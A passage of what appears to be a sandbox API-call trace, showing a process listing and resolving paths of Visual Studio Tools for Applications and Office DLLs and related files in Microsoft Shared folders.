lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\Pipeline.v10.0\\AddInViews\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.dll", lpFilePart=0x9bada4*="Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.dll") returned 0x8f [0199.406] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0199.406] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\Pipeline.v10.0\\AddInViews\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\Pipeline.v10.0\\AddInViews\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.dll", lpFilePart=0x9bada4*="Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.dll") returned 0x8e [0199.406] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\Pipeline.v10.0\\Contracts\\*.*", lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a107d7a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a1c6876, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a1c6876, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7510 [0199.408] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a107d7a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a1c6876, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a1c6876, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0199.408] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a107d7a, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x6890, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0199.408] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a12df59, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x7690, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0199.408] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a1c6876, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x6680, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0199.408] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a1a078a, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0xe080, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0199.408] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a1a078a, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0xe080, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", cAlternateFileName="MICROS~3.DLL")) returned 0 [0199.409] FindClose (in: hFindFile=0x10f7510 | out: hFindFile=0x10f7510) returned 1 [0199.409] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\Pipeline.v10.0\\Contracts\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.dll" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\pipeline.v10.0\\contracts\\microsoft.visualstudio.tools.applications.contract.v10.0.dll")) returned 0x20 [0199.411] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac0288 | out: hHeap=0x2ad0000) returned 1 [0199.411] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811f8 [0199.411] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\Pipeline.v10.0\\Contracts\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.dll" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\pipeline.v10.0\\contracts\\microsoft.visualstudio.tools.applications.contract.v9.0.dll")) returned 0x20 [0199.412] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac0f98 | out: hHeap=0x2ad0000) returned 1 [0199.412] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\Pipeline.v10.0\\Contracts\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\pipeline.v10.0\\contracts\\microsoft.visualstudio.tools.office.contract.v10.0.dll")) returned 0x20 [0199.412] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac04e8 | out: hHeap=0x2ad0000) returned 1 [0199.413] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\Pipeline.v10.0\\Contracts\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\pipeline.v10.0\\contracts\\microsoft.visualstudio.tools.office.contract.v9.0.dll")) returned 0x20 [0199.413] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac0f00 | out: hHeap=0x2ad0000) returned 1 [0199.413] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881090 | out: hHeap=0x2ad0000) returned 1 [0199.413] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\Pipeline.v10.0\\Contracts\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\Pipeline.v10.0\\Contracts\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.dll", lpFilePart=0x9bada4*="Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.dll") returned 0x8f [0199.413] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0199.413] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\Pipeline.v10.0\\Contracts\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\Pipeline.v10.0\\Contracts\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.dll", lpFilePart=0x9bada4*="Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.dll") returned 0x8e [0199.414] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\Pipeline.v10.0\\Contracts\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\Pipeline.v10.0\\Contracts\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", lpFilePart=0x9bada4*="Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll") returned 0x89 [0199.414] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0199.414] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\Pipeline.v10.0\\Contracts\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\Pipeline.v10.0\\Contracts\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", lpFilePart=0x9bada4*="Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll") returned 0x88 [0199.414] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\Pipeline.v10.0\\HostSideAdapters\\*.*", lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a74a126, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a8ed9d5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a8ed9d5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7450 [0199.416] FindNextFileA (in: hFindFile=0x10f7450, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a74a126, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a8ed9d5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a8ed9d5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0199.416] FindNextFileA (in: hFindFile=0x10f7450, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a82eefe, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x9298, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0199.416] FindNextFileA (in: hFindFile=0x10f7450, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a7701e7, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x13898, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0199.416] FindNextFileA (in: hFindFile=0x10f7450, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a8ed9d5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x10088, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", cAlternateFileName="MIF250~1.DLL")) returned 1 [0199.416] FindNextFileA (in: hFindFile=0x10f7450, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a7701e7, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0xaa98, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0199.416] FindNextFileA (in: hFindFile=0x10f7450, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a7701e7, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x15090, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0199.417] FindNextFileA (in: hFindFile=0x10f7450, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a7701e7, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x15090, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", cAlternateFileName="MICROS~3.DLL")) returned 0 [0199.417] FindClose (in: hFindFile=0x10f7450 | out: hFindFile=0x10f7450) returned 1 [0199.417] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\Pipeline.v10.0\\HostSideAdapters\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.dll" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\pipeline.v10.0\\hostsideadapters\\microsoft.visualstudio.tools.applications.hostadapter.v10.0.dll")) returned 0x20 [0199.418] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36a98a8 | out: hHeap=0x2ad0000) returned 1 [0199.418] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881258 [0199.419] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\Pipeline.v10.0\\HostSideAdapters\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\pipeline.v10.0\\hostsideadapters\\microsoft.visualstudio.tools.office.excel.hostadapter.v10.0.dll")) returned 0x20 [0199.419] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36a9f38 | out: hHeap=0x2ad0000) returned 1 [0199.419] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\Pipeline.v10.0\\HostSideAdapters\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\pipeline.v10.0\\hostsideadapters\\microsoft.visualstudio.tools.office.hostadapter.v10.0.dll")) returned 0x20 [0199.443] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334d160 | out: hHeap=0x2ad0000) returned 1 [0199.443] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\Pipeline.v10.0\\HostSideAdapters\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\pipeline.v10.0\\hostsideadapters\\microsoft.visualstudio.tools.office.outlook.hostadapter.v10.0.dll")) returned 0x20 [0199.444] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36a9f38 | out: hHeap=0x2ad0000) returned 1 [0199.444] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\Pipeline.v10.0\\HostSideAdapters\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\pipeline.v10.0\\hostsideadapters\\microsoft.visualstudio.tools.office.word.hostadapter.v10.0.dll")) returned 0x20 [0199.444] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36a9de8 | out: hHeap=0x2ad0000) returned 1 [0199.444] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881258, Size=0x20) returned 0x3733eb8 [0199.444] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0199.444] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\Pipeline.v10.0\\HostSideAdapters\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\Pipeline.v10.0\\HostSideAdapters\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.dll", lpFilePart=0x9bada4*="Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.dll") returned 0x99 [0199.445] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\Pipeline.v10.0\\HostSideAdapters\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\Pipeline.v10.0\\HostSideAdapters\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", lpFilePart=0x9bada4*="Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll") returned 0x99 [0199.445] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0199.445] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\Pipeline.v10.0\\HostSideAdapters\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\Pipeline.v10.0\\HostSideAdapters\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", lpFilePart=0x9bada4*="Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll") returned 0x93 [0199.445] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\Pipeline.v10.0\\HostSideAdapters\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\Pipeline.v10.0\\HostSideAdapters\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", lpFilePart=0x9bada4*="Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll") returned 0x9b [0199.445] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0199.445] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\Pipeline.v10.0\\HostSideAdapters\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\Pipeline.v10.0\\HostSideAdapters\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", lpFilePart=0x9bada4*="Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll") returned 0x98 [0199.446] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTO\\*.*", lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a022e6b, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7710 [0199.447] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a022e6b, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0199.447] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4aebd53e, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4aebd53e, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="10.0", cAlternateFileName="")) returned 1 [0199.447] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6340300, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0x4a022e6b, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xd6340300, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x87, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="ActionsPane3.xsd", cAlternateFileName="ACTION~1.XSD")) returned 1 [0199.447] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x1d280, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="vstoee.dll", cAlternateFileName="")) returned 1 [0199.448] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6340300, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xd6340300, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x4098, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="vstoee100.tlb", cAlternateFileName="VSTOEE~1.TLB")) returned 1 [0199.448] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6340300, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xd6340300, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x5490, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 1 [0199.448] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6340300, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xd6340300, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x5490, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 0 [0199.448] FindClose (in: hFindFile=0x10f7710 | out: hFindFile=0x10f7710) returned 1 [0199.449] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTO\\10.0" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsto\\10.0")) returned 0x10 [0199.450] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38874e8 | out: hHeap=0x2ad0000) returned 1 [0199.450] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0199.450] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTO\\ActionsPane3.xsd" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsto\\actionspane3.xsd")) returned 0x20 [0199.450] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2720 | out: hHeap=0x2ad0000) 